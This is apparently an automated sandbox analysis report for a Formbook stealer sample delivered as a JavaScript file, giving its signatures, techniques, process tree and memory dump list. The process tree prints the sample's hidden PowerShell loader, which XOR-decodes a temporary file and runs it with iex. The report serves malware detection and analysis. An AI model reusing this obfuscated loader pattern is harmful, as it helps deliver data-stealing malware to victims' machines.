Analysis
- max time kernel
38s - max time network
32s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260630-en - resource tags
- submitted
02/07/2026, 10:44
General
- Target ce480d340402f16198a000f4cbe77e5aae14a313bd11b92d05b1d818cf433343.js
- Size 2.2MB
- Sample260702-ms3e1aew6k
- SHA256 ce480d340402f16198a000f4cbe77e5aae14a313bd11b92d05b1d818cf433343
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ce480d340402f16198a000f4cbe77e5aae14a313bd11b92d05b1d818cf433343.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\net_12770_5464').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\net_12770_5464' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
net_12770_5464
memory/4412-21-0x0000000007F90000-0x0000000008006000-memory.dmp
memory/4412-23-0x0000000008080000-0x00000000080B6000-memory.dmp
memory/4412-4-0x0000000005C30000-0x000000000627A000-memory.dmp
memory/4412-5-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-6-0x0000000006280000-0x00000000062A2000-memory.dmp
memory/4412-8-0x00000000063B0000-0x0000000006416000-memory.dmp
memory/4412-7-0x0000000006340000-0x00000000063A6000-memory.dmp
memory/4412-11-0x00000000064E0000-0x000000000683B000-memory.dmp
memory/4412-12-0x0000000006A30000-0x0000000006A4E000-memory.dmp
memory/4412-24-0x0000000070590000-0x00000000705DC000-memory.dmp
memory/4412-2-0x0000000003230000-0x0000000003266000-memory.dmp
memory/4412-15-0x0000000007BE0000-0x0000000007C76000-memory.dmp
memory/4412-16-0x0000000006F90000-0x0000000006FAA000-memory.dmp
memory/4412-17-0x0000000006FE0000-0x0000000007002000-memory.dmp
memory/4412-18-0x0000000008240000-0x00000000087FA000-memory.dmp
memory/4412-19-0x0000000008E80000-0x00000000094FC000-memory.dmp
memory/4412-20-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-1-0x0000000074352000-0x0000000074353000-memory.dmp
memory/4412-3-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-22-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-13-0x0000000006A60000-0x0000000006AAC000-memory.dmp
memory/4412-25-0x00000000707A0000-0x0000000070AFB000-memory.dmp
memory/4412-28-0x00000000080C0000-0x00000000080E0000-memory.dmp
memory/4412-29-0x0000000008110000-0x00000000081B3000-memory.dmp
memory/4412-30-0x0000000008200000-0x000000000820A000-memory.dmp
memory/4412-31-0x0000000008800000-0x000000000882A000-memory.dmp
memory/4412-32-0x0000000008830000-0x0000000008854000-memory.dmp
memory/4412-33-0x0000000074352000-0x0000000074353000-memory.dmp
memory/4412-34-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-35-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-36-0x0000000005860000-0x000000000587E000-memory.dmp
memory/4412-37-0x0000000007E50000-0x0000000007E58000-memory.dmp
memory/4412-43-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/4412-40-0x0000000074340000-0x0000000074AFC000-memory.dmp
memory/5172-39-0x00000000005F0000-0x0000000000636000-memory.dmp
memory/5172-41-0x0000000000DA0000-0x0000000001114000-memory.dmp
memory/5172-38-0x0000000000400000-0x0000000000446000-memory.dmp
memory/5172-44-0x00000000005F0000-0x0000000000636000-memory.dmp